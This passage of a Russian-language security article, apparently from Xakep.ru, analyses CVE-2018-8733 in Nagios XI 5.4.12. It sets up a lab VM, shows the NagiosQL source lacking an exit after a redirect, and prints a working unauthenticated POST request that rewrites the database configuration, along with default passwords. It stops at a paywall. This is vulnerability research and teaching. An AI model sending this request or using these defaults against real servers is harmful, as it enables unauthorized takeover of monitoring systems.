Содержание статьи
Nagios решает довольно типичный для своего класса программ набор задач: контроль состояния компьютерных систем и сетей, наблюдение за выполняющимися службами и демонами и тому подобные задачи. Также в Nagios входит расширенная система оповещения админа об изменениях в функционировании системы, например когда какие-то из компонентов прекращают свою работу.
Проблемы были обнаружены исследователями Redacted Security и затрагивают все версии продукта вплоть до Nagios XI версии 5.4.12.
Приготовления
Для демонстрации уязвимости я подниму тестовое окружение. Nagios XI можно вполне легально скачать с официального сайта абсолютно бесплатно. После установки он спокойно проработает в пробном режиме в течение 60 дней. Нам этого вполне достаточно.
Решение поставляется в нескольких вариантах: в виде пакета для дистрибутивов Linux, в виде образа VHD для Windows с поддержкой аппаратной виртуализации на основе гипервизора (Hyper-V) и в формате OVF (Open Virtualization Format), который поддерживается всеми приличными приложениями для виртуализации. Мне удобнее использовать именно последний вариант.
Все манипуляции я буду проводить на последней уязвимой версии системы — 5.4.12, поэтому сначала скачаем ее образ. После этого нужно развернуть его на виртуальной машине. Для этой цели подойдут как коммерческие продукты VMware, так и бесплатные решения типа VirtualBox или того же VMware Player.
Когда импорт завершится, запустим новоиспеченную виртуалку, после непродолжительной загрузки видим приглашение авторизации в систему, IP-адрес машины и пароль рута. По дефолту это nagiosxi
.
Теперь, как и советует система, нужно перейти в браузере по указанному IP-адресу и выполнить начальную настройку.
После нажатия на кнопку Install система будет готова к экспериментам.
Начало пути. Обход авторизации. CVE-2018-8733
В состав Nagios входит NagiosQL — это веб-интерфейс для конфигурирования системы. По дефолту он располагается по адресу /nagiosql/
. Авторизоваться можно, используя ту же связку логин-пароль, которую мы указывали на этапе начальной настройки.
В разделе Administration
есть подраздел Settings
, где можно настроить сам NagiosQL
. Среди переменных здесь есть раздел Database
, в котором находятся параметры подключения к базе данных.
Они записываются в конфигурационный файл settings.php. По умолчанию он выглядит примерно так.
/var/www/html/nagiosql/config/settings.php
01: <?php
02: exit;
03: ?>
...
20: [db]
21: server = localhost
22: port = 3306
23: database = nagiosql
24: username = nagiosql
25: password = n@gweb
26: [common]
27: install = passed
Разумеется, все перечисленные возможности доступны только для авторизованного админа. Или нет? Заглянем в исходник скрипта, который отвечает за изменения конфига, а именно в его начало.
/var/www/html/nagiosql/admin/settings.php
23: $intMain = 7;
24: $intSub = 29;
25: $intMenu = 2;
26: $preContent = "admin/settings.tpl.htm";
27: $strMessage = "";
28: $intError = 0;
29: //
30: // Include requirements
31: // ======================
32: $preAccess = 1;
33: $preFieldvars = 1;
34: // Import basic function
35: require("../functions/prepend_adm.php");
36: // Import translation function
37: require("../functions/translator.php");
На 35-й строке подгружается файл prepend_adm.php, который в том числе выполняет ряд проверок авторизации.
/var/www/html/nagiosql/functions/prepend_adm.php
164: if (($_SESSION['username'] != "") && (!isset($preNoLogCheck) || ($preNoLogCheck == 0))) {
...
182: if ($intResult != 0) {
183: $myDataClass->writeLog(_('Restricted site accessed:')." ".$_SERVER['PHP_SELF']);
184: header("Location: ".$SETS['path']['protocol']."://".$_SERVER['HTTP_HOST'].$SETS['path']['root']."admin/errorsite.php"); // todo check
185: }
...
190: } else {
191: // Neues Login erzwingen
192: $myDataClass->writeLog(_('User not found in database'));
193: header("Location: ".$SETS['path']['protocol']."://".$_SERVER['HTTP_HOST'].$SETS['path']['root']."index.php");
...
195: } else if (!isset($preNoLogin)) {
196: // Neues Login erzwingen
197: header("Location: ".$SETS['path']['protocol']."://".$_SERVER['HTTP_HOST'].$SETS['path']['root']."index.php");
Чего-то не хватает, не правда ли? А именно завершения работы скрипта после редиректа. Благодаря такой неосторожности разработчиков выполнение кода продолжится, даже если пользователь не авторизован, и мы можем вносить изменения в конфигурационный файл.
/var/www/html/nagiosql/admin/settings.php
043: $selLanguage = isset($_POST['selLanguage']) ? $_POST['selLanguage'] : $SETS['data']['locale'];
...
045: $txtDBserver = isset($_POST['txtDBserver']) ? $_POST['txtDBserver'] : $SETS['db']['server'];
046: $txtDBport = isset($_POST['txtDBport']) ? $_POST['txtDBport'] : $SETS['db']['port'];
047: $txtDBname = isset($_POST['txtDBname']) ? $_POST['txtDBname'] : $SETS['db']['database'];
048: $txtDBuser = isset($_POST['txtDBuser']) ? $_POST['txtDBuser'] : $SETS['db']['username'];
049: $txtDBpass = isset($_POST['txtDBpass']) ? $_POST['txtDBpass'] : $SETS['db']['password'];
...
063: if ( (isset($_POST)) AND (isset($_POST['selLanguage']))) {
...
085: $filSet = fopen($txtBasePath."config/settings.php","w");
086: if ($filSet) {
087: fwrite($filSet,"<?php\n");
088: fwrite($filSet,"exit;\n");
089: fwrite($filSet,"?>\n");
...
107: fwrite($filSet,"server = ".$txtDBserver."\n");
108: fwrite($filSet,"port = ".$txtDBport."\n");
109: fwrite($filSet,"database = ".$txtDBname."\n");
110: fwrite($filSet,"username = ".$txtDBuser."\n");
111: fwrite($filSet,"password = ".$txtDBpass."\n");
...
114: fclose($filSet);
Все, что требуется, — это передать локаль и нужные переменные в соответствующих параметрах POST-запроса. Он будет выглядеть следующим образом:
POST /nagiosql/admin/settings.php HTTP/1.1
Host: nagios.vh
Content-Type: application/x-www-form-urlencoded
Connection: close
selLanguage=en_GB&txtDBserver=localhost&txtDBuser=nagiosql&txtDBpass=n@gweb
Хоть сервер и вернул код 302, но скрипт продолжил свое выполнение и перезаписал конфиг.
Тут уже открывается некий простор для творчества. Можно указать в качестве адреса базы данных свой сервак с Rogue MySQL Server и получить читалку файлов. Также изменение некоторых параметров дает возможность вызвать отказ в обслуживании. Но это не особенно интересно. Гораздо полезнее поменять юзера, под которым происходит соединение с базой данных. Это поможет нам продвинуться к нашей цели — полной компрометации системы. Благо по умолчанию пароль пользователя root устанавливается в nagiosxi
не только для входа в систему, но и для авторизации в БД.
Продолжение доступно только участникам
Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте
Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее
Вариант 2. Открой один материал
Заинтересовала статья, но нет возможности стать членом клуба «Xakep.ru»? Тогда этот вариант для тебя! Обрати внимание: этот способ подходит только для статей, опубликованных более двух месяцев назад.
Я уже участник «Xakep.ru»